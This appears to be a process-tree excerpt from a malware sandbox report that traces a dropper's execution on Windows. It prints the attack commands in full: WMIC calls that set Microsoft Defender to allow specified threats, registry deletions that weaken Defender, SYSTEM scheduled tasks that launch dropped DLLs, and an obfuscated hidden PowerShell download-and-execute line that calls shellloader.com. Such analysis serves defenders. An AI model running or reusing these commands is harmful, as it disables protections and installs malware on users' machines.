C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True7⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bRciptYQhTCMvEFWGJ"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\STjmdXhOU\EVvcEz.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ArGDBXWmyYtLacf" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ArGDBXWmyYtLacf2" /F /xml "C:\Program Files (x86)\STjmdXhOU\muUkvFa.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "ArGDBXWmyYtLacf"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ArGDBXWmyYtLacf"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "dqMFPCMVHmhnSY" /F /xml "C:\Program Files (x86)\gaSWcYIjjvwU2\aXhbrtI.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "sOuBCsGGBJoge2" /F /xml "C:\ProgramData\QPFeEjmgnBUOfRVB\vGerAwi.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gdlTlvZfIMOZAvCeb2" /F /xml "C:\Program Files (x86)\YceypsUXabDXnCzNCPR\MSeSQzo.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "PcFGIyIlUJyYablHCHc2" /F /xml "C:\Program Files (x86)\NMbcPgNClKinC\BhsmJpp.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "nMmJzTJTMvgDqJXEl" /SC once /ST 14:15:52 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\sdiJeZIc\qznIMVe.dll\",#1 /site_id 668658" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "nMmJzTJTMvgDqJXEl"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "spubQkRaEhyV" /SC once /ST 06:11:36 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\oZzpmAJr\JcBwsYp.exe\" 3L /S"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "spubQkRaEhyV"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "spubQkRaEhyV"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "spubQkRaEhyV"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "xsEpqqHAgqAwsAroz"3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\sdiJeZIc\qznIMVe.dll",#1 /site_id 6686582⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\sdiJeZIc\qznIMVe.dll",#1 /site_id 6686583⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "nMmJzTJTMvgDqJXEl"4⤵
-
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\oZzpmAJr\JcBwsYp.exeC:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\oZzpmAJr\JcBwsYp.exe 3L /S2⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Roaming\vsduhsdC:\Users\Admin\AppData\Roaming\vsduhsd2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\vsduhsdC:\Users\Admin\AppData\Roaming\vsduhsd3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Roaming\jjduhsdC:\Users\Admin\AppData\Roaming\jjduhsd2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Roaming\vsduhsdC:\Users\Admin\AppData\Roaming\vsduhsd2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\vsduhsdC:\Users\Admin\AppData\Roaming\vsduhsd3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Roaming\jjduhsdC:\Users\Admin\AppData\Roaming\jjduhsd2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam2⤵
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed226b6e8b18c18b003.exeWed226b6e8b18c18b003.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QHIEA.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-QHIEA.tmp\setup_2.tmp" /SL5="$202A4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6921I.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-6921I.tmp\postback.exe" ss13⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe ss14⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"6⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\a7kMXX0Lb.dll"5⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\a7kMXX0Lb.dll"6⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Users\Admin\AppData\Local\Temp\a7kMXX0Lb.dll"7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\a7kMXX0Lb.dlldEryML8Ji.dll"5⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\a7kMXX0Lb.dlldEryML8Ji.dll"6⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Users\Admin\AppData\Local\Temp\a7kMXX0Lb.dlldEryML8Ji.dll"7⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a1⤵
- Executes dropped EXE
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"1⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cm3.exe"C:\Program Files (x86)\Company\NewProduct\cm3.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
